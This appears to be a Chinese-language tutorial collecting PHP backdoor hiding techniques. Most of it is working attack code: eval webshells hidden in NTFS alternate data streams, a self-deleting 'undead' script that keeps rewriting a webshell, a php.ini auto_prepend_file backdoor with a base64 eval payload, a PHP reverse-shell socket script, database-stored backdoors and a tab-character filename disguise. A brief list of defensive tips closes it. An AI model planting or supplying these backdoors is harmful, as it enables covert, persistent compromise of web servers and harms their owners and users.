php后门隐藏技巧大全
字数 896 2025-08-15 21:31:54
PHP后门隐藏技巧大全
1. Windows系统文件隐藏技巧
1.1 使用attrib命令创建系统隐藏文件
attrib +s +h 文件名
attrib +s +a +r +h 文件名
特点:
- 即使在Windows 10下开启了"显示隐藏的项目"或使用dir命令也看不见
- 需要取消隐藏属性时使用:
attrib -s -h 文件名
1.2 利用NTFS交换数据流(ADS)隐藏文件
ADS是NTFS文件系统的特性,允许文件包含多个数据流。
创建ADS隐藏文件:
echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg
- 生成一个不可见的index.php:shell.jpg
- 使用
dir /r命令可以查看ADS文件
使用方式:
- 直接包含这个隐藏文件
- 删除方法:直接删除宿主文件(index.php)
高级隐藏技巧:
<?php
$a="696E6465782E7068703A7368656C6C2E6A7067"; // index.php:shell.jpg的hex编码
$b="a";
include(PACK('H*',
$$
b));
?>
2. 环境变量留后门
- 在C盘特定目录存放图片马或txt文件
- 通过文件包含功能调用这些文件
- 可以包含图片马、txt等看似无害的文件增加隐蔽性
3. 不死马技术
基本不死马
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}
特点:
- 运行后会删除自身
- 定期生成webshell.php
- 即使管理员删除,也会自动重新生成
对抗不死马的方法
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','clear');
sleep(1);
}
或:
- 重启web服务
- 覆盖重写webshell文件
4. php.ini后门
配置方法:
allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
(base64解码后是:<?php @eval($_REQUEST[cmd]);?>)
激活方法:
- 手动重启web服务(可能暴露)
- 使用php_socket.php脚本自动重新加载php.ini
php_socket.php脚本示例:
<?php
/* 只适用于windows系统 */
while(true){
@set_time_limit(0);
$system=strtoupper(substr(PHP_OS,0,3));
if(!extension_loaded('sockets')) {
if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");}
}
$host='255.255.255.255'; // 不存在的IP
$port=1998;
if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}
$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
else{
$message="PHP反弹连接\n";
@socket_write($sock,$message,strlen($message));
$cwd=str_replace(dirname(__FILE__));
while($cmd=@socket_read($sock,65535,$proto)){
if(trim(strtolower($cmd))=="exit"){
socket_write($sock,"Bye\n");exit;
}else{
$process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if(is_resource($process)){
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value=proc_close($process);
}
}
}
}
}
?>
5. 代码拆分与多文件包含
示例:
- 将敏感代码拆分到多个文件
// POST.php
$a=$_POST['x'];
- 主文件包含并执行
include "POST.php";
@eval($a);
6. 数据库隐藏后门
- 将真正的一句话木马写入数据库
- 修改源码为
eval(查出的数据); - 当程序执行数据库查询时,会自动执行隐藏的后门
7. Linux系统隐藏技巧
<?php
$webpath = dirname(__FILE__);
file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的内容(比如写个一句话)");
?>
特点:
- 生成的文件显示为"guige.jpg"
- 实际访问需要使用"guige.jpg%09.php"
- 管理员看到的是.jpg文件,实际可以通过.php解析执行
防御建议
- 定期检查系统隐藏文件和ADS流
- 监控php.ini等配置文件的变化
- 对上传文件进行严格过滤
- 使用安全扫描工具定期检查网站
- 限制PHP危险函数的使用
- 保持系统和应用软件及时更新